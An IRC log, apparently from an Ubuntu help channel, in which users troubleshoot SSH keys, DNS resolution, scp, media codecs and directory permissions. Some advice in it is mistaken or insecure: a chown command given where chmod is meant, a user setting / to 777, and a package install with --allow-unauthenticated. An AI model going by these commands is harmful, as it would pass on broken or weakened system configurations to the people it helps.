[02:41] <dksoba88> Is there a way I can make my computer run a script when I plug in a specific USB external hard drive?
[02:42] <salax> KittyBoots, a switch
[02:42] <CpasFaux> Omlette, you give me false hopes :p
[02:42] <dksoba88> (incase you're wondering, it's so that my backups OF my external drive to my computer are not prone to human error)
[02:42] <KittyBoots> What software do I need to use?
[02:42] <v1tal3> ZykoticK9: I will check those out online, thanks, as I was having a hard time figuring out where to start.  And I have plenty of bandwidth, but thanks for the concern :)
[02:42] <Bluey> argh...
[02:43] <Billiard> KittyBoots: for doing what?
[02:43] <v1tal3> kittyboots: do you own a router?
[02:43] <DaZ> KittyBoots: it depends what do you mean as home network
[02:43] <KittyBoots> How do I setuo a network, I have a router.
[02:43] <salax> KittyBoots, nonsense.. u need wires, and switch.. and configure the ips
[02:43] <ZykoticK9> v1tal3, openmosix might not exist anymore.  distcc is just to compile c source code - not to useful, unless you're compiling c source code.
[02:43] <salax> KittyBoots, go to networking channel
[02:44] <KittyBoots> Can anyone connect me to a tutorial on how to set up a home network
[02:44] <ZykoticK9> KittyBoots, to share files/printer with windows/ubuntu look into Samba
[02:44] <KittyBoots> salax: what is the network channel?
[02:44] <v1tal3> zykotick9: I read somewhere today about using a combination of MPI, NFS, and NIS, but i just started looking into it today.  I'm not looking to compile code (yet) either
[02:44] <salax> KittyBoots, /join #networking
[02:45] <phenrique> hello, some sugestion for c++ compiler in ubuntu?
[02:45] <salax> g++
[02:45] <DaZ> gcc ;f
[02:46] <docro> HI! I was wondering if anyone has noticed the default netcat behavior for waiting on STDIN has been changed. It appears that it indefintely waits on stdin, whereas the default use to be to terminated immediately upon EOF
[02:46] <docro> 9.04 is all I have tested*
[02:46] <navap> Can you use scp to move a folder?
[02:46] <docro> navap: no, secure-copy not secure mv :)
[02:47] <docro> you can use ssh to move a folder
[02:47] <navap> Is there an alternative? smv or something like that?
[02:47] <v1tal3> zykotick9: fyi, the openmosix project shut down march 2008, but the source is still available online
[02:47] <docro> ssh user@machine mv /path/to/folder /path/to/new
[02:47] <navap> /path/to/new is on the new machine?
[02:47] <docro> they are both on the new machine
[02:47] <docro> if you want to move a local folder you would need to first scp it, then rm the local copy
[02:48] <navap> er, my mistake. I meant scp to copy a folder.
[02:49] <navap> But there isn't a scp -r like mv has.
[02:49] <DaZ> navap: there isn't? :o
[02:50] <prince_jammys> someone stole it
[02:50] <navap> Well if it is, it's playing hide-and-seek with me.
[02:50] <bastidrazor> navap: yes there is. scp -r /folder user@host:/new/place/
[02:50] <DaZ>        -r     Recursively  copy  entire  directories.   Note that scp follows symbolic links encountered in the tree traversal.
[02:50] <phenrique> salax, g++ is a IDE? or only a compiler?
[02:50] <Billiard> phenrique: compiler
[02:50] <lstarnes> phenrique: it is a complier
[02:51] <ZykoticK9> v1tal3, ya i kinda though something happened to openmosix.  it was kinda cool - but needs kernel implementation on all cluster machines - so probably REALLY difficult to implement if not supported at the OS level (ie Ubuntu) -- no idea on alternative cluster software for Ubuntu.  Gotta run, so best of luck
[02:51]  * navap is blind
[02:51] <phenrique> do you know some IDE?
[02:51] <navap> I tried scp -r just to test it and it gave me back the syntax/help because I hadn't specifed the folders..
[02:51] <navap> Thanks guys.
[02:52] <phenrique> with included compiler
[02:52] <MTecknology> What commnad do I run to automatically install packages for when I pick what a servers role will be?
[02:53] <phenrique> Billiard and lstarnes do you know some IDE with included compiler like Devcpp in windows
[02:53] <phenrique> ?
[02:53] <Bluey> MTecknology: ?
[02:53] <CpasFaux> do u know a good book about linux (not only for ubuntu)?
[02:53] <lstarnes> phenrique: most IDEs use separate compilers, usually gcc/g++
[02:53] <Bluey> CpasFaux: yes "Linux in a Nutshell"
[02:53] <lstarnes> phenrique: eclipse is one ide, but there are several
[02:54] <Pulga> phenrique i'm using netbeans
[02:54] <MTecknology> Bluey: you're greated with it in the server and alternate install
[02:54] <CpasFaux> thx Bluey
[02:54]  * Bluey is clueless atm
[02:54] <phenrique> i have netbeans, it is difficult configure c++ in there?
[02:54] <phenrique> Pulga
[02:54] <Bluey> CpasFaux: you are welcome
[02:55] <Pulga> phenrique no, tools->C/C++
[02:55] <Bluey> CpasFaux: it's a book I used almost everyday - it's from o' reilly - you should be able to find on amazon...
[02:56] <Pulga> the compilers are gcc/g++
[02:56] <Bluey> bbl -
[02:56] <Pulga> phenrique, speak portuguese?
[02:57] <CpasFaux> blueyaway, what is the last edition?
[02:57] <phenrique> yeah :)
[02:57] <CpasFaux> 5?

[02:59] <flanders> For some reason, with all configurations identical, autofs works fine on openSUSE, but on Ubuntu 9.04 it does not. Is there anything extra that needs to be enabled on Ubuntu for autofs to work properly? This is not a server issue, since I can manually connect to the CIFS, but autofs does not work.

[03:08] <eie> Question lol
[03:09] <tsukiyomi> bummr i see, some other people got the same error and were able to fix it by installing a old kernel version, what do you think?
[03:09] <Xcell> sakthivel-  sudo apt-get install ubunu-restricted-extras    that will give all you should need
[03:09] <Xcell> ubuntu-restricted-extras

[03:18] <billowboy> Hello everyo ^_^
[03:19] <vox> I_fallow_jesus: i know it might be difficult, but please try to resist the urge to be a fool.
[03:19] <I_fallow_jesus> yes it a dvd riping software
[03:19] <m0r0n> Can someone help me partition a flash drive into FAT32
[03:19] <coz_> preecher,  also if you want surveilance camera security that is   called  Zoneminder  but your camera has to be identified in linux first and that is not a guarantee it will work with Zoneminder
[03:20] <The_monster> hi
[03:20] <preecher> its just for web chat
[03:20] <I_fallow_jesus> try vlc it can be used as a webcam software
[03:20] <coz_> preecher,  ok  also check to see if you have ffmpeg installed
[03:21] <I_fallow_jesus> sudo apt-get install ffmpeg
[03:21] <InsanePenguin> during the instal of server, it asdks you to select collections of pkgs(lamp, dns, etc) can i add/delete these later?
[03:21] <The_monster> can anyone help me use snort
[03:21] <vox> InsanePenguin: yes
[03:21] <preecher> after switching to ubuntu 9-04 from anutr distro the cheese always has fuzzy pic output
[03:21] <InsanePenguin> srry for the typos, tryin to type with on hand
[03:21] <InsanePenguin> kk
[03:22] <tetsu_> I've installed mysql-server. How do I make it available to other hosts?
[03:22] <tetsu_>  /etc/hosts.allow ?
[03:22] <preecher> how do i see if ffmpeg is installed
[03:22] <coz_> preecher,  for chatting  pidgin should work
[03:22] <tetsu_> preecher: type ffmpe in a terminal and hit tab
[03:22] <evilaim> Y0w y0w...
[03:22] <I_fallow_jesus> ffmpeg*
[03:23] <preecher> its not installed
[03:23] <tetsu_> then install it
[03:23] <evilaim> is there any way that I can remote ssh into a computer, and use cli to watch movies on an account that has the GUI on the pc?
[03:23] <coz_> preecher,  sudo apt-get install ffmpeg   you will need that
[03:23] <preecher> kk thanks
[03:23] <vox> evilaim: uh.. it's possible, yes
[03:24] <I_fallow_jesus> evilami better set upa ftp than install vlc web plug in
[03:24] <evilaim> How?
[03:24] <tiger2wander> Where I can get Empathy when I close it? I see it in process list but can not find where to call its contact list. Pidgin has an icon at system tray
[03:25] <I_fallow_jesus> I use proftp easy to set up just do sudo apt-get install proftp
[03:25] <vox> evilaim: i honestly cant remember off to the top of my head.. it involves alot of piping and stuffing around. havent done it in 2-3 years
[03:25] <evilaim> That can't be right haha
[03:25] <I_fallow_jesus> ya FTP is a lot better for what you wont might even be faster
[03:25] <evilaim> has to be easy
[03:25] <I_fallow_jesus> and easyer
[03:26] <coz_> tiger2wander,  I would kill it in t he process window reopen it and go to its preferences to see if it has an systray icon options...if not  I would switch to pidgin
[03:26] <vox> evilaim: the problem is where you're launching it from. if the shell is activated from within the x-session, there's no issue. but by ssh-ing in, you have to "route" the output to the x-session.. and that causes problems
[03:27] <tiger2wander> coz_, :) You are not need to kill it, simple open it again. The contact list will bring up again
[03:27] <evilaim> :(
[03:27] <coz_> tiger2wander,  there you go
[03:27] <I_fallow_jesus> what is it you trying to do evilaim??
[03:27] <evilaim> dang
[03:27] <vox> evilaim: as i said, it is doable
[03:27] <tiger2wander> But the pain is: sometime I have lose message while its contact list is hidden
[03:27] <vox> evilaim: but it's not a simple "mplayer $filename" arguement
[03:28] <evilaim> hmm
[03:28] <I_fallow_jesus> what is it that your trying to do evilaim?
[03:30] <vox> evilaim: well think about it. when you open a shell via whatever method (remote ssh, local tty, x-shell, whatever), the output is going to come back to that console. what you're wanting to do is to spawn the process on one sheel, then redirect the output to X.. it's not straight-forward
[03:31] <momelod> greetings channel
[03:31] <momelod> can anyone tell me if there is a way to install ubuntu using an older kernel?
[03:31] <momelod> the kernel on the install iso doesnt work w/ my raid card
[03:32] <vox> momelod: how do you mean "doesnt work with"
[03:32] <mebaran151> on the newest upgrade of ubuntu, I keep getting nautilus trying to fork more and more processes
[03:32] <mebaran151> anybody know if this is a known bug?
[03:32] <Laibsch> mebaran151: #ubuntu+1
[03:32] <vox> mebaran151: which ubuntu version? 9.04 or 9.10?
[03:32] <mebaran151> 9.10
[03:33] <vox> mebaran151: join #ubuntu+1 as Laibsch said :)
[03:33] <tiger2wander> mebaran151, May be it is new implementation of Nautilus to support multiple threading :P
[03:33] <Laibsch> Hi!  Any DNS experts around?  I have a problem where a host (mail.leggewie.org) resolves fine on one computer but not on another where it is NXDOMAIN.  I don't really understand why and would appreciate some help in analysing (dig & friends).
[03:33] <momelod> vox: dmraid produces the following error: "either the required RAID set not found or more options required'
[03:33] <vox> Laibsch: do they have the same nameservers?
[03:33] <Laibsch> no
[03:33] <Laibsch> they are completely independent
[03:33] <Laibsch> 10.000 km apart computers
[03:34] <Laibsch> vox, what do you get for "host mail.leggewie.org"?
[03:34] <vox> Laibsch: then whichever nameserver the second one is using, is broken
[03:34] <Laibsch> I assume so
[03:34] <Laibsch> But I would like to understand a bit more before I contact the nameserver admin
[03:34] <momelod> vox: i found others on the forums with the same raid card i had and they said rebuild initrd or use an older kernel which has an older version of dmraid which works with my card
[03:34] <vox> momelod: ah.
[03:35] <momelod> so is it possible to specify an alternate kernel during installation?
[03:35] <vox> momelod: using an older kernel in itself isnt hard, there are how-to's on the ubuntu forums
[03:35] <vox> Laibsch: <IP_ADDRESS>
[03:35] <Laibsch> OK
[03:35] <Laibsch> that is good
[03:36] <vox> momelod: you'll have to install, then build your own kernel
[03:36] <Laibsch> This is quite strange
[03:36] <momelod> vox: im having problems locating said forum posting.. can u point me in the right direction ?
[03:36] <momelod> vox: i cant install b/c it doesnt see my disks..
[03:36] <Laibsch> It works again now, but I've had it failing two times in the past 24 hours
[03:36] <vox> momelod: you want to install ubuntu onto that raidset?
[03:37] <vox> Laibsch: then i'd say the dns server is flakey
[03:37] <momelod> vox: the system has two disks in raid-1.. the only disks in the system
[03:37] <Laibsch> vox: I agree
[03:37] <Laibsch> It would still be nice to know a bit more about it
[03:37] <infamy> Laibsch: Is the computer that is running the dns always accessible? Do you ever lose contact with it?
[03:37] <Laibsch> the domain belongs to me
[03:38] <Laibsch> and there is always the chance I have set it up incorrectly.
[03:38] <vox> momelod: mmmuh. i'm.. not sure how to get around that. throw a post up in the forums, someone more familiar with dmraid may know
[03:38] <infamy> For instance, could you keep any other service going on it?
[03:38] <momelod> k, thanks
[03:38] <Laibsch> infamy: I think the DNS server that is problematic (here in Japan) otherwise works OK
[03:38] <Laibsch> I haven't seen any other obvious problems
[03:38] <hsarci> anyone know how to run a script after resume?
[03:39] <momelod> where can i download old version of ubuntu?
[03:39] <vox> Laibsch: could also be a problem with the nameserver of where the domainname is hosted
[03:39] <Laibsch> infamy: the host mail.leggewie.org itself is up 24/7 with a dynip
[03:39] <bastidrazor> http://releases.ubuntu.com/  momelod
[03:39] <Laibsch> vox: could be
[03:39] <momelod> bastidrazor: thanks!
[03:39] <infamy> Laibsch: Just thinking top down. Make sure that you aren't plain having the dns server dropped off the network before digging into the dns stuff
[03:40] <Laibsch> I'm trying to find out
[03:40] <Laibsch> infamy: IOW, ping the DNS server before anything else?
[03:40] <vox> momelod: 6.06 is as far back as it goes
[03:40] <Laibsch> I thought the tool for analyzing DNS problems was dig
[03:40] <Laibsch> But I don't "dig it" ;-) 100%
[03:41] <InsanePenguin> why is it when i type mail.leggewie.org, i get directed to localhost
[03:41] <infamy> Laibsch: Try keeping an ssh session alive on it
[03:41] <Laibsch> InsanePenguin: that is the way I set up apache
[03:41] <infamy> Or some other sort of server that is easy to setup, like ftp
[03:41] <InsanePenguin> ok
[03:41] <infamy> Laibsch: Then see if you are getting dropped
[03:41] <Laibsch> infamy: I don't understand
[03:42] <Laibsch> infamy: I will get dropped at a fixed time of the day
[03:42] <Laibsch> DSL reconnect
[03:42]  * InsanePenguin stupid IIS keeps restarting, darn i want to use apache
[03:42] <infamy> Ah
[03:42] <Laibsch> The connection on this end in Japan is fixed
[03:42] <Laibsch> But the one in .de is DSL with a reconnect
[03:43] <Laibsch> It should happen +/- 30 minutes from now
[03:43] <infamy> Hmm
[03:43] <Laibsch> so, I don't quite see what you are trying to achieve with the ssh connection
[03:44] <n8tuser> if ip changes, your ssh connection will drop
[03:44] <InsanePenguin> yeah, server is finally installed
[03:44] <Laibsch> n8tuser: yes, obviously
[03:44] <InsanePenguin> is 512mb ram enough
[03:45] <Laibsch> IP resolution is broken again
[03:45] <pepee> hi
[03:45] <Laibsch> On this end
[03:45] <pepee> I tryed to upgrade to karmic, and my system is broken
[03:45] <n8tuser> which dns server are you using to resolve?
[03:46] <n8tuser> !karmic| pepee
[03:46] <pepee> I'm getting something like this: http://i36.tinypic.com/333bf9c.jpg
[03:46] <gbear14275> Trying to figure out if virt-manager is dependent on gnome... I don't want to have to install all of gnome to be able to run virt manager via X11 forwarding through an ssh tunnel... anyone have any ideas?
[03:46] <pepee> BUT is not exactly as that
[03:46] <pepee> ok, thanks
[03:46] <juju2143> lol.
[03:47] <joeb3_> pepee, focus..
[03:47] <Billiard> what command can I use to view possible attributes for writing udev rules for a specific device, I see many tutorials for udevinfo, which ubuntu seems not to have anymore
[03:47] <pepee> joeb3_: is not my pic
[03:47] <Laibsch> n8tuser: resolv.conf has two entries.  <IP_ADDRESS> (the local router) and <IP_ADDRESS>
[03:47] <momelod> pepee: boot from a livecd and fix your /etc/fstab file
[03:48] <shane2peru> !mint
[03:48] <jamiejackson> what's the favored FOSS GUI configurator for nagios?
[03:48] <shane2peru> !mintsupport > shane2peru
[03:48] <Laibsch> n8tuser: I looked at the difference in output from "dig mail.leggewie.org@$DNSSERVER" for those two, but can't spot anything obvious.  They are both returning NXDOMAIN now.
[03:48] <pepee> momelod: I'm trying from debian (is installed)
[03:48] <pepee> momelod: but I don't know what it have to do with debian
[03:49] <n8tuser> Laibsch -> which dns server are you using? your own?
[03:49] <Laibsch> pepee: IOW, you are "upgrading" a debian installation with Ubuntu?  Not a good idea, if  true.
[03:49] <gbear14275> anyone got any ideas?
[03:49] <momelod> pepee: in your fstab file replace the uuids with the dev mappings.. ie: /dev/sda1...
[03:49] <Laibsch> n8tuser: no, <IP_ADDRESS> is from the ISP.
[03:52] <jeeves_Moss> what causes a system not accept a preshared key?  I have 2 servers and a laptop.  I can get a passwordless login from my laptop to server #1 and I can log into the laptop from server #1 to the laptop.  As well, I can connect with server 2 to the laptop and server #1, but not the other way around
[03:52] <Laibsch> jeeves_Moss: you lost me
[03:53] <Laibsch> you have 3 computers
[03:53] <Laibsch> you want to connect from every computer to every other computer, correct?
[03:53] <jeeves_Moss> Laibsch, think of it as a triangle.  I can get the laptop to connect (without a password) to only one server.
[03:53] <jeeves_Moss> Laibsch, yes.  I want all 3 systems to connect without a password.
[03:54] <Laibsch> which connection does not work?
[03:54] <jeeves_Moss> Laibsch, currently, I have server #2 connecting to the other 2 systems with no problem, but we can't connect to server #2 without a password
[03:54] <KittyBoots> What is necessary to view H264 media?
[03:54] <_Techie_> i am creating a persistant liveusb of ubuntu 8.10 and i need to change the username of the user "ubuntu" but it doesnt show in the users and groups, how can i change this?
[03:54] <shane2peru> jeeves_Moss: what kind of connection are you talking about?  is this for file sharing? or intranet
[03:55] <leaf-sheep> Those using xchat, please do paste your "ls -l ~/.xchat2" because I want to check file permission really quick.
[03:55] <Laibsch> jeeves_Moss: I'm assuming you're talking about ssh connections
[03:55] <jeeves_Moss> shane2peru, I'm presharing SSH keys to do a rsync over SSH
[03:55] <shane2peru> jeeves_Moss: ok, and I'm assuming you don't have a firewall running?
[03:55] <n8tuser> Laibsch -> whats the address you get when you do  dig @<IP_ADDRESS> mail.leggewie.org
[03:56] <jeeves_Moss> shane2peru, no fire walls.  (as I said, I have 2 way connection between server # 1 and the laptop).  and server # 2 can connect OUT, but not in
[03:57] <shane2peru> jeeves_Moss: check to make sure you have the ssh daemon running/installed on server 2
[03:57] <Laibsch> jeeves_Moss: Make sure the key you want to connect with is listed in ~/.ssh/authorized_keys2 on server2
[03:57] <jeeves_Moss> shane2peru, I can log into server #2 if I use the password
[03:57] <infamy> leaf-sheep: drwx------
[03:57] <jeeves_Moss> Laibsch, and I used the same proceedure on each system.
[03:57] <shane2peru> jeeves_Moss: ahh, in that case as Laibsch said
[03:58] <leaf-sheep> infamy: Don't worry about it. _Techie_ was kind to paste his content recently. :)
[03:58] <Laibsch> jeeves_Moss: I don't know which procedure you used
[03:58] <jeeves_Moss> Laibsch, http://ubuntuforums.org/showthread.php?t=15082
[03:59] <Laibsch> alright
[03:59] <Laibsch> Before we talk about backup, make sure the ssh connection works
[04:00] <shawn_> Anybody else here have problems using VNC to connect remotely to other computers?
[04:00] <jeeves_Moss> Laibsch, the SSH issue is as far as I've got.  I've got the backup working between server #1 and the laptop, and as I said, I can make an outbound connection from server #2 to the laptop and server#1, but no inbound connections unless I use the password
[04:00] <n8tuser> Laibsch -> whats the address you get when you do  dig @<IP_ADDRESS> mail.leggewie.org    same as <IP_ADDRESS> ?
[04:00] <gb0> i've got a problem
[04:01] <gb0> i have a partition without format
[04:01] <gb0> but it has information
[04:01] <gb0> how can i recover the data without lost it?
[04:01] <Yondering> gb0, you have an unformatted partition with data..?
[04:01] <shane2peru> jeeves_Moss: I would run through the setup process again for your second server. actually back up your .ssh/known_hosts or move it and try to make your key again
[04:01] <shawn_> How come when I try to connect remotely to my desktop from my laptop using the preinstalled Remote Desktop tool it connects fine and displays whatever is on screen but when I click things nothing happens nothing opens etc... But it opens the stuff on the desktop still but it jsut doesnt show it happening in my VNC client
[04:01] <xono> hey everyone
[04:01] <gb0> Yondering, thanx, ill explain better
[04:01] <ekontsevoy> When I go to "Printer Configuration" in Ubuntu, it asks me for my root username/password. I give it my name/password but it won't take it. WTF?
[04:02] <jeeves_Moss> shane2peru, ok, thanks.  I'll have a look
[04:02] <gb0> Yondering. please Query
[04:02] <Laibsch> n8tuser: http://paste.debian.net/49220/ quite strange
[04:02] <shane2peru> jeeves_Moss: if you can connect with password, but not without password, then something in the key is not right
[04:02] <joeb3_> ekontsevoy, use your normal user id and pass
[04:02] <jeeves_Moss> shane2peru, ok, I'll have a look and get back to you
[04:02] <ekontsevoy> joeb3_: I am using it. No, it won't let me
[04:03] <xono> im selling a pc and a printer at a very low cost >> http://sites.google.com/site/xonosyar/
[04:03] <Laibsch> jeeves_Moss: Can you paste the ~/.ssh/authorized_keys2 file for the three different computers somewhere?
[04:03] <Laibsch> That should not pose a security problem
[04:03] <Laibsch> And would allow to make sure you have the right key listed
[04:03] <jeeves_Moss> Laibsch, I'm going to try this one first
[04:03] <joeb3_> ekontsevoy, system- administration - printing ?
[04:03] <Laibsch> You may also want to inspect syslog
[04:03] <xono> what is a good room to market in?
[04:04] <Laibsch> xono: certainly not here
[04:04] <n8tuser> Laibsch-> isnt that what is supposed happen or expected answer? your ISP resolves your mail.leggewie.org ?
[04:04] <xono> k not spamming, just letting people know

[04:05] <cbcbilling> hello all
[04:05] <Tetracomm> How do I check to see which monitor driver Ubuntu is using for my monitor?
[04:05] <cbcbilling> is there a problem with ubuntu 8.04?
[04:06] <cbcbilling> coz my computer always turn's off
[04:06] <shane2peru> Tetracomm: do you have ati?
[04:06] <Laibsch> n8tuser: well, the thing was that dig resolved fine, but host still failed
[04:06] <xono> i am doing craigslist.
[04:06] <cbcbilling> any help plz
[04:06] <Laibsch> n8tuser: I think the problem is with the local router (and possibly my DNS setup): http://paste.debian.net/49221/
[04:06] <shane2peru> cbcbilling: are you running any applications when it shuts off?
[04:06] <pistyman1> hey

[04:07] <pistyman1> can somebody help me? i just got ubuntu today
[04:07] <danielsevigny> Good evening everyone. Is there a way to lock users into their home directories without locking myself out of the system above my home dir?
[04:07] <nic> same
[04:07] <shane2peru> !question | pistyman1
[04:07] <nemesis1911> hey guys I'm doing "vlc /dev/video1" to play my capture card but I get no sound how do I fix that anyone?
[04:07] <danielsevigny> What's the question pistyman?
[04:07] <jeeves_Moss> Laibsch, well, I redid it, and it STILL won't let me log in!!!
[04:07] <n8tuser> Laibsch-> yes, your router is feeding you a wrong dns server perhaps
[04:08] <craig> paranormal activity
[04:08] <shane2peru> danielsevigny: I know this can be done with permissions, but I'm not sure how to set them
[04:08] <Laibsch> jeeves_Moss: I didn't say it would
[04:08] <shawn_> Which channel should I go to to report bugs
[04:08] <blitzer320> is there a way currently to use my 3.1 jailbroken iphone with ubuntu 9.04
[04:09] <shane2peru> danielsevigny: then if you are administrator, you can always use sudo to get around them, set each home directory to not be read by others
[04:09] <Laibsch> jeeves_Moss: You need to make sure the key is listed (saying that for the fourth or fifth time now)
[04:09] <danielsevigny> I tried 771 and I can still execute but I'm not a root group member so it locks me out without sudoing everything
[04:09] <durt> shawn_, #ubuntu-bugs for bug help
[04:09] <genii> shawn_: None. you should report them on the LaunchPad bug report site
[04:09] <danielsevigny> 755 locks me out of sudo as well
[04:09] <jeeves_Moss> Laibsch, and I deleted the known_hosts file and redid the share
[04:10] <nemesis1911> hey can anyone help me go get the sound working .. with my capture card.. .. i'm running it with vlc /dev/video1.. and changein the channels with Zappin tv
[04:10] <gb0> Question> How can i reformat a partition without lost the data inside?

[04:10] <haytham-med> hi all, in this http://ubuntuforums.org/showthread.php?t=617349 , sysRq doesnot work for me

[04:11] <pistyman1> 1. I have a ATI HD 4650 graphics card, it works when I start the computer up through the DVI port but once ubunto loads it only works through the analog port (the one with the plug plug). How do i get a driver to work for this? or is it normal..
[04:11] <pistyman1> 2. I cant play any DVDs, mp3's, video, cant use skype blah blah blah. nothing works. how the heck do i get drivers to make it all work? i am using ubuntu version 9.04
[04:11] <danielsevigny> if I set / to 755 it kills my execute access to sudo... Have to recover from disk to set the permissions back to 777
[04:11] <infamy> gb0: What kind of partition was it?
[04:11] <gb0> Billiard
[04:11] <n8tuser> danielsevigny -> look into polyinstantiation, i dont konw how it works, there is an article on IBM
[04:11] <Laibsch> jeeves_Moss: known_hosts has nothing to do with it ( and I never mentioned the file)
[04:11] <gb0> first, the partition was NTFS
[04:11] <infamy> Ah
[04:11] <gb0> but then, i stupid, run he command dd
[04:11] <gb0> and after 5 seconds
[04:11] <danielsevigny> polyinstantiation? I'll give it a google.
[04:12] <n8tuser> yes polyinstantiation
[04:12] <gb0> i press control + c
[04:12] <gb0> but then, the partition doesnt have anything
[04:12] <dajhorn> !medibuntu | pistyman1
[04:12] <shane2peru> Laibsch: that was my fault. :)  I didn't know about the other file i mentioned, known_hosts
[04:12] <shane2peru> Laibsch: for the ssh setup thing
[04:12] <pistyman1> thankyou
[04:12] <infamy> gb0: you should try something like this: http://sysblogd.wordpress.com/2008/01/05/data-recovery-with-linux-from-hard-drives-cd-roms-or-dvds/
[04:12] <dajhorn> pistyman1: Medibuntu has the goodies like libdvdcss that let you play DVD movies.
[04:13] <pistyman1> wicked
[04:13] <n8tuser> gb0 -> what was  your dd command like?  dd by itself should have done nothing, it requires parameters
[04:13] <Laibsch> shane2peru: I know.  But I already pointed jeeves_Moss to the keys file for so many times now.  But he just won't listen.  That's his not your fault.
[04:13] <skinnY> Any wget experts around ? How would i get everything in ? http://archive.ubuntu.com/ubuntu/dists/jaunty/main/installer-i386/beta/images/netboot/
[04:13] <dajhorn> pistyman1: To use all the fancy gadgets in your video card, you'll need to learn about the fglrx package.
[04:13] <daerogami> alright, running 9.04 and all the updates are installed, just one problem, i dont think ubuntu likes intel gfx chipsets. Is there a fix for this?
[04:13] <pistyman1> one other thing, why when the DVD didnt work and i clicked "search for drivers" it god nothing? or did it just search my computer and not the net?
[04:14] <Laibsch> n8tuser: <IP_ADDRESS> is the router itself.  And apparently it chokes on *.leggewie.org being a wildcard for mail.leggewie.org while mail.leggewie.org itself also has a defined IP address.   Not sure if that is an incorrect setup.
[04:14] <daerogami> vox you still here?
[04:14] <pistyman1> thanks dajhorn and ubottu!
[04:14] <n8tuser> Laibsch -> yes most likely, your router is not getting the correct feed, and also uses what it stores on your /etc/resolv.conf

[04:15] <Laibsch> @all: is it OK to have *.leggewie.org as a DNS wildcard pointing to mail.leggewie.org, plus an A record for mail.leggewie.org?  Or is that asking for trouble when resolving mail.leggewie.org?

[04:18] <Alan502> mmm i yeah, im not sure but most probably
[04:18] <Alan502> its a netbook, so...
[04:19] <Alan502> what can you expect? xD
[04:19] <daerogami> yeah
[04:19] <shane2peru> danielsevigny: here is some good reading about doing what you want to do: https://help.ubuntu.com/8.04/serverguide/C/user-management.html
[04:19] <DoctorLes> Hello.  Is this an appropriate site for Ubuntu/Linux newbies, or is there another better suited?
[04:19] <daerogami> im running a desktop with probably the same specs
[04:19] <shane2peru> DoctorLes: this is it. :)
[04:19] <DoctorLes> Thanks!
[04:19] <danielsevigny> I've seen that several times. The article on wiki about Polyinstantiation is only serving to confuse me more...
[04:19] <Alan502> lol, with those specs im planning to change to kubuntu
[04:20] <durt> DoctorLes, not a site, but a channel, and you can get help for all levels
[04:20] <Alan502> but i like the sleekness of ubuntu :P
[04:20] <momelod> nemesis1911: all that is normal. i wonder tho if your vlc is not setup to use the correct sound device?
[04:20] <shane2peru> !who | danielsevigny
[04:20] <momelod> mine is set to alsa default
[04:20] <daerogami> Alan502, i read that apparently intel supports 3rd party OSs so im gonna check their site for drivers
[04:20] <momelod> nemesis1911: also try the mythbuntu support channel.. people there will have experience w/ your issue
[04:20] <nemesis1911> momelod: I get avi's to play with vlc fine.. its just when I try to play back the capcard
[04:21] <Alan502> thanks! but.. actually
[04:21] <nemesis1911> momelod: thx for your time
[04:21] <nemesis1911> ;-)
[04:21] <Alan502> i think i have the drivers already, daerogami
[04:21] <DoctorLes> I've tinkered with Linux and Ubuntu for a few years now but not steadily, so my knowledge is spotty and rusty.
[04:21] <momelod> nemesis1911: what if u `cat /dev/video1 > file.mpg`
[04:21] <pistyman1> ok i tried to get medi buntu but this is what i get when i try to do it from the "terminal":
[04:21] <pistyman1> vincent@Gigabyte:~$ sudo wget http://www.medibuntu.org/sources.list.d/$(lsb_release -cs).list \
[04:21] <pistyman1> >  --output-document=/etc/apt/sources.list.d/medibuntu.list &&
[04:21] <pistyman1> > sudo apt-get -q update &&
[04:21] <pistyman1> > sudo apt-get --yes -q --allow-unauthenticated install medibuntu-keyring &&
[04:21] <pistyman1> > sudo apt-get -q update
[04:21] <FloodBot3> pistyman1: Please don't flood, use http://paste.ubuntu.com to paste, don't use Enter as punctuation.
[04:21] <momelod> ctrl-c after a few seconds
[04:21] <momelod> and then play the mpg w/ vlc
[04:21] <DoctorLes> I can't get the Xserver beyond a splash screen on two boxes with recently installed 9.1
[04:22] <DoctorLes> One is a laptop and the other is a desktop.  the former has ATI graphics and the latter has Nvidia
[04:22] <shane2peru> DoctorLes: 9.1 is still in beta testing, so you can expect problems with that
[04:22] <nemesis1911> momelod: where dous the mpg go?
[04:22] <Alan502> i installed them the other day, researching i found https://wiki.ubuntu.com/ReinhardTartler/X/RevertingIntelDriverTo2.4 , daerogami
[04:22] <DoctorLes> K
[04:22] <shane2peru> !karmic | DoctorLes
[04:23] <momelod> nemesis1911: the present working directory .. or do cat /dev/video1 > /home/somplace/Desktop/test.mpg
[04:23] <nemesis1911> momelod: same thing video.. and no sound
[04:23] <DoctorLes> cool.  Thanks
[04:23] <daerogami> Alan502, is there a way to look up your Gfx card device info from ubuntu?
[04:23] <danielsevigny> Consider the following path and user permissions /users(770)/tempuser(750)/ .Could this user still access programs found in other paths? MYSQL for instance?
[04:24] <distrohopper> cd /eggdrop
[04:24] <danielsevigny> if users belongs to root and tempuser is the owner of tempuser
[04:24] <distrohopper> lol oops
[04:24] <Alan502> yeah, glxinfo can do it i think, daerogami
[04:24] <momelod> nemesis1911: `file upirmpegfile.mpg`
[04:24] <shane2peru> danielsevigny: you should be able to safely set the permissions of user folders to 750 or in theory even 700 and they should be able to run fine
[04:25] <xover> guys i have a sd misco hc card and its not working, but when i use a sd micro is does work in the same caddy, whats the issue?
[04:25] <Alan502> daerogami: this is my glx description : Alan502, https://wiki.ubuntu.com/ReinhardTartler/X/RevertingIntelDriverTo2.4
[04:25] <xover> is there a driver update for SD micro HC?
[04:25] <shane2peru> danielsevigny: chown -Rv 700 /home/username
[04:25] <Alan502> daerogami, sorry, it is http://alanmorales.co.cc/glxi.txt
[04:25] <shane2peru> danielsevigny: or chown -Rv 750 /home/username
[04:25] <danielsevigny> !tab shane2peru the example path I gave would lock the user to that directory or could thy still access outside it?
[04:25] <prince_jammys> you have a user named 750?
[04:26] <Alan502> ubottu, i think you are intelligent
[04:26] <pistyman1>  1  2  3  4  5  6  7  8  9 10 11 12I cant get past this when i try to get the driver package. It keeps asking for my password but i cant enter anything in the fiedl (no letters show up) and pressing enter just says "incorrect password attempt"  vincent@Gigabyte:~$ sudo wget http://www.medibuntu.org/sources.list.d/$(lsb_release -cs).list \ >  --output-document=/etc/apt/sources.list.d/medibuntu.list && > sudo apt-get -q update && >
[04:26] <pistyman1> man that pastebin is gay
[04:26] <shane2peru> danielsevigny: you would have to set that for every user in order for one user to not be able to see another users directory
[04:26] <bastidrazor> pistyman1: you aren't supposed to see anything when typing your password in terminal.
[04:26] <Billiard> pistyman1: there are no * when u enter your password
